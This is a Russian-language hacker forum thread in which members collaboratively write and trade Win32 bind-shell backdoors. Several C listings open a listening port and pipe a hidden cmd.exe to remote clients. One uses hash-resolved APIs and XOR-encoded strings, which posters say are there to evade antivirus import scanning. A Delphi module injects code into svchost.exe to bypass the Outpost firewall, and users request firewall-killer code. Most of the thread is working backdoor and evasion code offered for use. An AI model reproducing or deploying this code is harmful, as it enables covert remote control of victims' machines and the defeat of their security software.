Начнем опенсорс - биндшелл (Win32)

[sn0w]

Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе ;) замечания и предложения сыпем сюда)

//
// Advanced build config
//
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/SECTION:.text,EWRX")
#pragma comment(linker, "/NODEFAULTLIB")
#pragma comment(linker, "/ENTRY:startcode")

//
// Includes
//
#include <winsock2.h>

//
// Definitions
//
#ifdef FD_ISSET
#undef FD_ISSET
#define FD_ISSET(fd, set) pTable->api.WsWSAFDIsSet((SOCKET)(fd), (fd_set FAR *)(set))
#endif

#define MAX_MODULENAME_SIZE 128
#define MAX_FUNCNAME_SIZE 128
#define MAX_STRING_SIZE 256
#define MAX_CONNECTIONS 255
#define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset)))

//
// Structures
//
#pragma pack (1)
typedef struct _APITABLE
{
struct _API{ // address table for various api functions
//
// kernel32 imports...
//
BOOL (__stdcall* KeCloseHandle)(HANDLE);
BOOL (__stdcall* KeCreatePipe)(PHANDLE,PHANDLE,LPSECURITY_ATTRIBUTE S,DWORD);
BOOL (__stdcall* KeCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBU TES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTST R,LPSTARTUPINFO,LPPROCESS_INFORMATION);
HANDLE (__stdcall* KeCreateThread)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHR EAD_START_ROUTINE,LPVOID,DWORD,LPDWORD);
HMODULE (__stdcall* KeLoadLibrary)(LPCTSTR);
BOOL (__stdcall* KePeekNamedPipe)(HANDLE,LPVOID,DWORD,LPDWORD,LPDWO RD,LPDWORD);
BOOL (__stdcall* KeReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPP ED);
VOID (__stdcall* KeSleep)(DWORD);
BOOL (__stdcall* KeTerminateProcess)(HANDLE,DWORD);
DWORD (__stdcall* KeWaitForSingleObject)(HANDLE,DWORD);
BOOL (__stdcall* KeWriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLA PPED);
HGLOBAL (__stdcall* KeGlobalAlloc)(UINT,SIZE_T);
HGLOBAL (__stdcall* KeGlobalFree)(HGLOBAL);
//
// ws2_32 imports...
//
int (__stdcall* WsWSAStartup)(WORD,LPWSADATA);
SOCKET (__stdcall* Wssocket)(int,int,int);
int (__stdcall* Wsbind)(SOCKET,struct SOCK_ADDR*,int);
int (__stdcall* Wslisten)(SOCKET,int);
SOCKET (__stdcall* Wsaccept)(SOCKET,struct SOCK_ADDR*,int FAR*);
u_short (__stdcall* Wshtons)(u_short);
int (__stdcall* Wsselect)(int,fd_set*,fd_set*,fd_set*,const struct timeval*);
int (__stdcall* Wsioctlsocket)(SOCKET,long,u_long*);
int (__stdcall* Wssend)(SOCKET,const char FAR*,int,int);
int (__stdcall* Wsrecv)(SOCKET,char FAR*,int,int);
int (__stdcall* Wsclosesocket)(SOCKET);
int (__stdcall* WsWSAFDIsSet)(SOCKET, fd_set FAR *);
}api;

struct _HMODS{
HMODULE hKernel32;
HMODULE hWs2_32;

}hmods;

SOCKET g_server;
SOCKET client;

}APITABLE;
#pragma pack ()


//
// System routines
//
// (dont touch a stack)
DWORD __fastcall CalcHash(char *str)
{
DWORD hash = 0;
char* copystr = str;
while(*copystr) {
hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7));
hash = hash ^ (*copystr);
copystr++;
}
return hash;
}

// (dont touch a stack)
LPVOID __fastcall NameHashLoad(HMODULE hModule, DWORD lpProcNameHash)
{
PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)
((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew +
sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule,
poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

int nOrdinal;
if (HIWORD((DWORD)lpProcNameHash) == 0)
nOrdinal = (LOWORD((DWORD)lpProcNameHash)) - ped->Base;
else {
DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames);
WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals);

for (DWORD i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++){
if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == lpProcNameHash){
nOrdinal = *pwOrdinalPtr;
break;
}
}
if (i == ped->NumberOfNames) return 0;
}

DWORD *pAddrTable = (DWORD*)RVATOVA(hModule, ped->AddressOfFunctions);
DWORD dwRVA = pAddrTable[nOrdinal];
DWORD ret = (DWORD)RVATOVA(hModule, dwRVA);

return (LPVOID)ret;
}

// (dont touch a stack)
void __fastcall fxmemset(void* dst, char with, unsigned int len)
{
for(unsigned int i=0; i<len;i++)
*((char*)dst+i)=with;
}


//
// interaction thread for each established connection
//
DWORD __stdcall WorkerThread(LPVOID lpParam)
{
APITABLE *pTable = (APITABLE*)lpParam;
SOCKET sock = pTable->client;

char s_proc[] = "\x46\x48\x41\x00";

// decode string:
for(int a=0; a<3; a++)
s_proc[a] ^= 0x25;


SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);

// Create Pipe for server input <- network recv
HANDLE hServerInputPipe, hNetworkRecvPipe;

if(pTable->api.KeCreatePipe(&hServerInputPipe, &hNetworkRecvPipe, &sa, 0)==0) {
pTable->api.Wsclosesocket(sock);
return 0;
}

// Create Pipe for server output -> network send
HANDLE hServerOutputPipe, hNetworkSendPipe;

if(pTable->api.KeCreatePipe(&hNetworkSendPipe, &hServerOutputPipe, &sa, 0)==0) {
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}

// Start Application
PROCESS_INFORMATION pi;
STARTUPINFO si;

fxmemset(&si, 0, sizeof(STARTUPINFO));

si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK;

si.wShowWindow = SW_HIDE;
si.hStdError = hServerOutputPipe;
si.hStdInput = hServerInputPipe;
si.hStdOutput = hServerOutputPipe;

if(pTable->api.KeCreateProcess(NULL, s_proc, NULL, NULL, TRUE, CREATE_SEPARATE_WOW_VDM, NULL, NULL, &si, &pi)==0) {
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}


DWORD dwBytes;
int nLen;
fd_set rfds;

while(TRUE) {

// Check network socket
pTable->api.KeSleep(20);

FD_ZERO(&rfds);
FD_SET(sock, &rfds);
TIMEVAL tm;
tm.tv_sec=0;
tm.tv_usec=0;
if(pTable->api.Wsselect(0, &rfds, NULL, NULL, &tm) > 0) {

if(FD_ISSET(sock, &rfds)) {

pTable->api.Wsioctlsocket(sock, FIONREAD, (u_long*)&nLen);

if(nLen <= 0) {
pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerInputPipe);
pTable->api.Wsclosesocket(sock);
return 0;
}

char *buffer = (char *)pTable->api.KeGlobalAlloc(GPTR, nLen);

if(buffer != NULL) {
nLen = pTable->api.Wsrecv(sock, buffer, nLen, 0);

if(nLen > 0 && nLen < WSABASEERR){
pTable->api.KeWriteFile(hNetworkRecvPipe, buffer, nLen, &dwBytes, NULL);
}else{
pTable->api.KeGlobalFree(buffer);
break;
}
pTable->api.KeGlobalFree(buffer);
}
}
}

// Check handle
pTable->api.KePeekNamedPipe(hNetworkSendPipe, NULL, 0, NULL, (LPDWORD)&nLen, NULL);
if(nLen > 0) {
char *buffer =(char *)pTable->api.KeGlobalAlloc(GPTR, nLen);
if(buffer!=NULL) {
pTable->api.KeReadFile(hNetworkSendPipe, buffer, nLen, &dwBytes, NULL);
pTable->api.Wssend(sock, buffer, dwBytes, 0);
pTable->api.KeGlobalFree(buffer);
}
}

// Check for death
if(pTable->api.KeWaitForSingleObject(pi.hProcess, 0) != WAIT_TIMEOUT) break;
}

pTable->api.KeCloseHandle(hNetworkSendPipe);
pTable->api.KeCloseHandle(hServerOutputPipe);
pTable->api.KeCloseHandle(hNetworkRecvPipe);
pTable->api.KeCloseHandle(hServerInputPipe);

pTable->api.Wsclosesocket(sock);
pTable->api.KeTerminateProcess(pi.hProcess, 0);

return 0;
}


DWORD __stdcall ServerThread(LPVOID lpParam)
{
SOCKET s;
APITABLE *pTable = (APITABLE*)lpParam;

while(TRUE) { // its in ma style :))

pTable->api.KeSleep(20);

s = pTable->api.Wsaccept(pTable->g_server, NULL, NULL);

if(s != INVALID_SOCKET) {

DWORD tid;
HANDLE hThread;

// spawn worker thread and wait until it ends
pTable->client = s;
hThread = pTable->api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkerThread, pTable, 0, &tid);
pTable->api.KeWaitForSingleObject(hThread, INFINITE);

}
}
return 0;
}

//
// ENTRY POINT
//
int __stdcall startcode()
{
APITABLE atMain;
WSADATA wsd;
char ws_name[] = "\x32\x36\x77\x1a\x76\x77\x6b\x21\x29\x29";

//
// init the api table
//

// 1) init kernel32's stuff...

__asm {

mov eax, dword ptr fs:[30h]
mov eax, dword ptr [eax+0ch]
mov esi, dword ptr [eax+1ch]
lodsd
mov eax, dword ptr [eax+08h]
mov atMain.hmods.hKernel32, eax
}

atMain.api.KeCloseHandle = (BOOL(__stdcall*)(HANDLE))NameHashLoad(atMain.hmod s.hKernel32, 0x723EB0D5);
atMain.api.KeCreatePipe = (BOOL(__stdcall*)(PHANDLE,PHANDLE,LPSECURITY_ATTRI BUTES,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0xA8D1FFE2);
atMain.api.KeCreateProcess = (BOOL(__stdcall*)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIB UTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTS TR,LPSTARTUPINFO,LPPROCESS_INFORMATION))NameHashLo ad(atMain.hmods.hKernel32, 0x46318AC7);
atMain.api.KeCreateThread = (HANDLE(__stdcall*)(LPSECURITY_ATTRIBUTES,SIZE_T,L PTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD))NameHa shLoad(atMain.hmods.hKernel32, 0x6FB89AF0);
atMain.api.KeLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))NameHashLoad(atMain. hmods.hKernel32, 0xC8AC8026);
atMain.api.KePeekNamedPipe = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPDW ORD,LPDWORD))NameHashLoad(atMain.hmods.hKernel32, 0x81D5763E);
atMain.api.KeReadFile = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPOV ERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x487FE16B);
atMain.api.KeSleep = (void(__stdcall*)(DWORD))NameHashLoad(atMain.hmods .hKernel32, 0x3D9972F5);
atMain.api.KeTerminateProcess = (BOOL(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMai n.hmods.hKernel32, 0x9E6FA842);
atMain.api.KeWaitForSingleObject = (DWORD(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMa in.hmods.hKernel32, 0xC54374F3);
atMain.api.KeWriteFile = (BOOL(__stdcall*)(HANDLE,LPCVOID,DWORD,LPDWORD,LPO VERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x0F3FD1C3);
atMain.api.KeGlobalAlloc = (HGLOBAL(__stdcall*)(UINT,SIZE_T))NameHashLoad(atM ain.hmods.hKernel32, 0x725EA171);
atMain.api.KeGlobalFree = (HGLOBAL(__stdcall*)(HGLOBAL))NameHashLoad(atMain. hmods.hKernel32, 0x240339C8);

// 2) init ws2_32's stuff...
for(int i=0; i<10; i++)
ws_name[i]^=0x45;

atMain.hmods.hWs2_32 = atMain.api.KeLoadLibrary(ws_name);
atMain.api.WsWSAStartup = (int(__stdcall*)(WORD,LPWSADATA))NameHashLoad(atMa in.hmods.hWs2_32, 0xCDDE757D);
atMain.api.Wssocket = (SOCKET(__stdcall*)(int,int,int))NameHashLoad(atMa in.hmods.hWs2_32, 0xFC7AF16A);
atMain.api.Wsbind = (int(__stdcall*)(SOCKET,struct SOCK_ADDR*,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0C5A7764);
atMain.api.Wslisten = (int(__stdcall*)(SOCKET,int))NameHashLoad(atMain.h mods.hWs2_32, 0x9E7D3188);
atMain.api.Wsaccept = (SOCKET(__stdcall*)(SOCKET,struct SOCK_ADDR*,int FAR*))NameHashLoad(atMain.hmods.hWs2_32, 0x3C797B7A);
atMain.api.Wshtons = (u_short(__stdcall*)(u_short))NameHashLoad(atMain. hmods.hWs2_32, 0x8E9BF775);
atMain.api.Wsselect = (int(__stdcall*)(int,fd_set*,fd_set*,fd_set*,const struct timeval*))NameHashLoad(atMain.hmods.hWs2_32,0x5D99 726A);
atMain.api.Wsioctlsocket = (int(__stdcall*)(SOCKET,long,u_long*))NameHashLoad (atMain.hmods.hWs2_32, 0x1F935B1D);
atMain.api.Wssend = (int(__stdcall*)(SOCKET,const char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E797764);
atMain.api.Wsrecv = (int(__stdcall*)(SOCKET,char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E5971F6);
atMain.api.Wsclosesocket = (int(__stdcall*)(SOCKET))NameHashLoad(atMain.hmods .hWs2_32, 0x939D7D9C);
atMain.api.WsWSAFDIsSet = (int(__stdcall*)(SOCKET, fd_set FAR *))NameHashLoad(atMain.hmods.hWs2_32, 0x4DFC1F3B);

//
// letz run it...:)
//
if(atMain.api.WsWSAStartup(0x202, &wsd)!=0)
return 0;

SOCKADDR_IN saddr;

fxmemset(&saddr, 0, sizeof(SOCKADDR_IN));

saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = 0;
saddr.sin_port = atMain.api.Wshtons(16384);

atMain.g_server = atMain.api.Wssocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if(atMain.g_server == INVALID_SOCKET)
return 0;

if(atMain.api.Wsbind(atMain.g_server, (SOCK_ADDR *)&saddr, sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
atMain.api.Wsclosesocket(atMain.g_server);
return 0;
}

if(atMain.api.Wslisten(atMain.g_server, MAX_CONNECTIONS)!=0){
atMain.api.Wsclosesocket(atMain.g_server);
return 0;
}

//
// run server thread
//
DWORD dwid;
HANDLE hSvrThread;

hSvrThread = atMain.api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServerThread, &atMain, 0, &dwid);

//
// enter the idle loop
//
atMain.api.KeWaitForSingleObject(hSvrThread, INFINITE);
return 0;
}
[/CODE]

[Deem3n®]

...win xp sp2 antifirewallА что-то вроде "...Zone Alarm Antifirewall" или "...Outpost Antifirewall" не намечается? На этой недели я попробую поработать над кодом отруба этих файров, может чтонибудь получится ...

[sn0w]

в этой версии антифайр вырезан тк хотел добиться стабильности кода без имортов и возможной его оптимизации. как говорится, одна голова хорошо, а две - еще лучше. будем думать)

[qBiN]

released with .NET 2003.уЖос))

[drmist]

Я честно пытался понять, в чем фишка, но не осилил )))
На мой взгляд - слишком сложно для такого бекдура.

[sn0w]

Я честно пытался понять, в чем фишка, но не осилил )))
На мой взгляд - слишком сложно для такого бекдура.

я тоже самое сказал бы про шелл на пхп :)) просто без комментов... а так вообще для того чтобы поняли все, напишу как чего почему)

[grinay]

#include <winsock2.h>
int main(int argc, char* argv[]){
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101,&HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0) ;
sa.sin_family=AF_INET;
sa.sin_port=htons((unsigned short)atoi(argv[1]));
sa.sin_addr.s_addr=0x00;
bind(s,(struct sockaddr *)&sa, 16);
listen(s,1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDL ES;
si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop=si.lpTitle=(char *) 0x0000;
si.lpReserved2=NULL;
CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}

Этот думаю по практичнее и по меньше:)
запуск идет так
bind.exe port
пример:
bind.exe 4567

[sn0w]

#include <winsock2.h>
int main(int argc, char* argv[]){
STARTUPINFO si;
struct sockaddr_in sa;
PROCESS_INFORMATION pi;
int s;
WSADATA HWSAdata;
WSAStartup(0x101,&HWSAdata);
s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0) ;
sa.sin_family=AF_INET;
sa.sin_port=htons((unsigned short)atoi(argv[1]));
sa.sin_addr.s_addr=0x00;
bind(s,(struct sockaddr *)&sa, 16);
listen(s,1);
s= accept(s,(struct sockaddr *)&sa,NULL);
si.cb=sizeof(si);
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW+STARTF_USESTDHANDL ES;
si.hStdInput=si.hStdOutput = si.hStdError = (void *) s;
si.lpDesktop=si.lpTitle=(char *) 0x0000;
si.lpReserved2=NULL;
CreateProcess(NULL ,"cmd",NULL, NULL,TRUE,0,NULL,NULL,(STARTUPINFO*)&si,&pi);
}

Этот думаю по практичнее и по меньше:)
запуск идет так
bind.exe port
пример:
bind.exe 4567


ай молодец, чет я туплю последнее время)) кстати можно импорты снести - ща замучу) да и один минус - реконнекта уже не будет(

[W!z@rD]

released with .NET 2003.
я так понял это с поддержкой NET...

итак а если у юзверя не стоит Framework'a???
правильно! Облом =(

[grinay]

Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню..
Да и тем более если сильно надо могу бинарник выложить..

[Deem3n®]

я так понял это с поддержкой NET...
Ты неправильно понял

[W!z@rD]

извиняюсь...

[sn0w]

вообщем в данный момент ничего сделать не могу, но как замучу так запостю.

[SanyaX]

Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню..
Да и тем более если сильно надо могу бинарник выложить..
На Microsoft visual C++ 6.0 не компилируеться. Можешь выложишь скомпилированный?

[qBiN]

На Microsoft visual C++ 6.0 не компилируеться. Можешь выложишь скомпилированный?Наверно не подключил lib(а) файл.
Скомпилированный модно найти по имени netcat.exe больше возножностей меньше глюков

[Cr4sh]

Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе замечания и предложения сыпем сюда)

имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи...

это мой:

SOCKET s;
int port = 31337;

DWORD WINAPI ToClient(LPVOID client_socket)
{
char buf[1024];
DWORD fexit;
char s_str[255];

s =((SOCKET *) client_socket)[0];

//а здесь будет создаватся пайп, запускатся консоль, итд...
STARTUPINFO si;
PROCESS_INFORMATION pi;
SECURITY_ATTRIBUTES sa;

DWORD N, total;

HANDLE cstdin, wstdin, rstdout, cstdout;

sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(sa);
sa.bInheritHandle = TRUE;

if (!CreatePipe(&cstdin, &wstdin, &sa, 0))
return -1;
if (!CreatePipe(&rstdout, &cstdout, &sa, 0))
return -1;

GetStartupInfoA(&si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = FALSE;
si.hStdOutput = cstdout;
si.hStdError = cstdout;
si.hStdInput = cstdin;

getstr(s_str, 63);

if (!CreateProcessA(0, s_str, 0, 0, TRUE, CREATE_NEW_CONSOLE, 0,0,&si,&pi))
return -1;

while(GetExitCodeProcess(pi.hProcess,&fexit) && (fexit == STILL_ACTIVE))
{
GSleep(1);
if (PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N)
{
for (int i = 0; i < (int)total; i += 1)
{
ReadFile(rstdout, buf, 1, &N, 0);
send(s, buf, N, 0);
}
}

if (!ioctlsocket(s, FIONREAD , &N) && N)
{
recv(s, buf, 1, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
}
TerminateProcess(pi.hProcess, 0);
TerminateThread(pi.hThread, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

DbgMsg(__FILE__, __LINE__, "SHELL: client disconnected\n");

closesocket(s);

return 0;
}

DWORD WINAPI bindshell_main(LPVOID param)
{
struct sockaddr_in local;
SOCKET s;

local.sin_family = AF_INET;
local.sin_port = htons(shell_port);
local.sin_addr.s_addr = 0;

s = socket(AF_INET, SOCK_STREAM,0);

if (s == INVALID_SOCKET)
return -1;

if (bind(s, (struct sockaddr*)&local, sizeof(local)) == SOCKET_ERROR)
return -1;

DbgMsg(__FILE__, __LINE__, "SHELL: binded at %d port\n",
shell_port);

if (Glisten(s, 0x100))
{
closesocket(s);
return -1;
}

DbgMsg(__FILE__, __LINE__, "SHELL: waiting for connections...\n");

SOCKET client_socket;
sockaddr_in client_addr;

int client_addr_size=sizeof(client_addr);
while((client_socket = (SOCKET)accept(s, (sockaddr *)&client_addr, &client_addr_size)))
{
DWORD thID;

DbgMsg(__FILE__, __LINE__, "SHELL: client connected, remote addr %s\n",
inet_ntoa(client_addr.sin_addr));

CreateThread(NULL, NULL, ToClient, &client_socket, NULL, &thID);
}

closesocket(s);

return 0;
}

[sn0w]

имхо, поиск api-фций по хэшу не очень целесообразная байда для такой мелочи...


ясен пень. просто для того чтбы снести импорты. ;). сканеры вроде avz любят делать предположения относительно вероятного использования программы на основе того что она импортирует из api

[Rabid Rabbit]

grinay, сначит сделали асепт и закрылись нафиг сразу же=) 0x0000 - прикольно =)
sn0w ниасилил)
Cr4sh if (s == INVALID_SOCKET) - это все гон, моно так: if (s == -1) (if (s<0) не потянет посоку унсигнед) а лучше воще без этого обойтись. я никада не проверяю носок после s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP). в системе носков дофига, ограничение на к-во одновременно открытых да и то на уровне ядра, приложение может держать открытыми сколько захочет. потом перед биндом надобы выдать
setsockopt с SO_REUSEADDR для профилактики.
ну вощем это так вкратце, особо я не углублялся.
чо хотел еще сказать - парадокс: для того чтобы запустить ваши шелы на тачке нуна выдать команду на запуск, а если это моно сделать то нафига тода шелл (темболее в виде самостоятельного приложение, которое видно (прогу видно а потоки почемуто прячем?)? для удобства шоли? прекращайте лучше крючкотворством заниматься, пишите реальные вещи для реальных задач.

[slesh]

Эх.. Какже легко обходить этот аутпост через поставные проги.. просто жуть. Кому интерестно, тому могу кинуть кусок кода

[undewaternemo]

Эх.. Какже легко обходить этот аутпост через поставные проги.. просто жуть. Кому интерестно, тому могу кинуть кусок кода

1237 собак inbox.ru
поделись плиз -- как раз гдето тут пишу

[nerezus]

if (s == INVALID_SOCKET) - это все гон, моно так: if (s == -1) Угу, конечно можно и так, но зачем советовать плохой код вместо хорошего?

[NOmeR1]

Эх.. Какже легко обходить этот аутпост через поставные проги.. просто жуть. Кому интерестно, тому могу кинуть кусок кодаДай плз, мне тож сейчас очень надо :)

[hackconnect]

W!z@rD
это он написал че за студией пользовался. А винапи он и в африке винапи - любой норм. компилер скомпилит.

[sorry, тока 1. стр.читал]

[hidden]

ясен пень. просто для того чтбы снести импорты. ;). сканеры вроде avz любят делать предположения относительно вероятного использования программы на основе того что она импортирует из apiИМХО отсутствие любого импорта выглядит ещё подозрительней, лучше уж сразу PE-компрессором неподдержываемой версии претворяться и импортировать через GetProcAddress)))

[slesh]

Вот код который позволяет обходить outpost. Часть кода была взята из статьи MS-REM'a
Я его чуть оформил в виде модуля. В принципе легко его перписать на любой язык. Пробывал на Outpost 3.5 Работает всё нормально. Даже outpost не выдает предупреждений о нарушении памяти процесса.

unit df;
interface
uses
Windows,Sysutils;
procedure mains(path:pointer); // безопасный запуск процедуры. path - адресс процедуры
implementation
var
si:TStartupInfo;
pi:TProcessInformation;

procedure mains(path:pointer); // основная функция для прекрепления кода прочедуры к SVCHOST'у
var
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, pansichar(windir+'\system32\svchost.exe'), nil, nil, false,CREATE_SUSPENDED, nil, nil, St, Pr);
Code:=pointer(GetModuleHandle(nil));
InjectSize:=PImageOptionalHeader(pointer(integer(C ode)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+S izeOf(TImageFileHeader))).SizeOfImage;
//выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
//изменяем контекст нити
Context.ContextFlags:=CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip:=dword(path); // путь к функции
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end;
begin
end.

[_Great_]

slesh, ну это аутпост молчит) обычно с фаером стоит и антивирь, вот, например, KAV такое дело палит на ура

[_Great_]

Кстати, было бы неплохо сделать в шелле не просто перенаправление hStdInput/hStdOUtput в сокет (часто глючит), а нормальную двухпоточную организацию пайпа.
Типа CreatePipe, хендлы передать в hStdInput/hStdOutput, потом следить за пайпом и передавать все оттуда в сокет. другой поток следит за сокетом и передает это в пайп.

У меня так сделано в том шелле, что я выложил в ЛоА.

[slesh]

2 _Great_
на счет простого перенаправления ты прав. Сам частенько замечаю что частень не пашет. Зато размер маленьких :)

[sn0w]

2 _Great_ c вопросом инжекта - очистка сдт и инжект...я ж в самом начале выложил пайповый сорс ))

[sn0w]

Краш, а в курсе что например каспер определяет "root shell" по импортам приложения? ;)

[Ni0x]

sn0w, не только кав, по импортам щас многие рубят.

[Gargulia]

вот есть небольшой бинд шелл(взятый с Hell Knights Crew):

#include <winsock2.h>
#include <windows.h>

DWORD WINAPI InitWinSock2API(){
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2),&wsaData);
return 0;
}


DWORD WINAPI Backdoor_Recv(LPVOID lpParam){

DWORD WINAPI ClientSend(char * data, socket sock){
send(sock, data, lstrlen(data),0);
closesocket(sock);
ZeroMemory (&data, sizeof(data));
return 0;
}

SOCKET sock=(SOCKET)lpParam;
char recvbuffer[1024];
int ret, freq, times, rand1, rand2;

while(1){
ZeroMemory (&recvbuffer, sizeof(recvbuffer));
ret = recv(sock, recvbuffer, 1024, 0);
if (ret == SOCKET_ERROR) break; else
if(lstrlen(recvbuffer) > 0){
char * array[1024];
char * t = strtok(recvbuffer,"ђ");
int i; int portint;
for(i = 0; t; t = strtok(NULL,"ђ"), i++){ array[i] = t; }
if (lstrcmp(array[0], "login:password")==0){
if (lstrcmp(array[1], "msgbox")==0){
char * msg = array[2]; // получаем 2 и 3 элемент массива
char * title = array[3]; // и заголовок messagebox.
MessageBox(0,msg,title,0); // выводим messagebox.
ClientSend("messagebox ok", sock);
}

// пример вашей команды:
// else if(lstrcmp(array[1], "ваша_команда")==0)
// {
// ...
// }
else{
// отсылаем клиенту сообщение "unknown command"
ClientSend("unknown command", sock);
}
} else {
ClientSend("authorization failed", sock);
}
}
}
return 0;
}



DWORD WINAPI Backdoor_Listen(short port){
SOCKET server, client; // сокеты для клиента и сервера
SOCKADDR_IN localaddr, clientaddr; // структуры для клиента и сервера
HANDLE hThread; // хэндл потока

int clientSize=sizeof(clientaddr);

server=socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

localaddr.sin_addr.s_addr=htonl(INADDR_ANY);// любом сетевом интерфейсе;
localaddr.sin_family=AF_INET; // работаем с интернетом;
localaddr.sin_port=htons(port); // присвайваем порт;

bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr));

listen(server, SOMAXCONN);

while(1){
client=accept(server,(struct sockaddr *)&clientaddr,&clientSize);

hThread = StartThread(Backdoor_Recv,(LPVOID)client);
CloseHandle(hThread);
}

closesocket(server); // закрываем сокет

return 0;
}

HANDLE WINAPI StartThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID param){
DWORD lpThreadId;
return CreateThread(NULL, NULL, lpStartAddress, param, NULL, &lpThreadId);
}

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow){
InitWinSock2API(); // инициализируем WinSock2 API
Backdoor_Listen(31337); // Ставим порт на прослушку и подключаем клиентов:
// WSACleanup(); // по завершению работы заканчиваем работу с Winsock2
}

почему сия прелесть не компилится Microsoft VC++ Studio 2003 ?
пишет вот это:
main.cpp(13): error C2061: syntax error : identifier 'socket'
main.cpp(13): error C2601: 'ClientSend' : local function definitions are illegal
main.cpp(38): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(48): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(51): error C2660: 'ClientSend' : function does not take 2 arguments
main.cpp(80): error C3861: 'StartThread': identifier not found, even with argument-dependent lookup
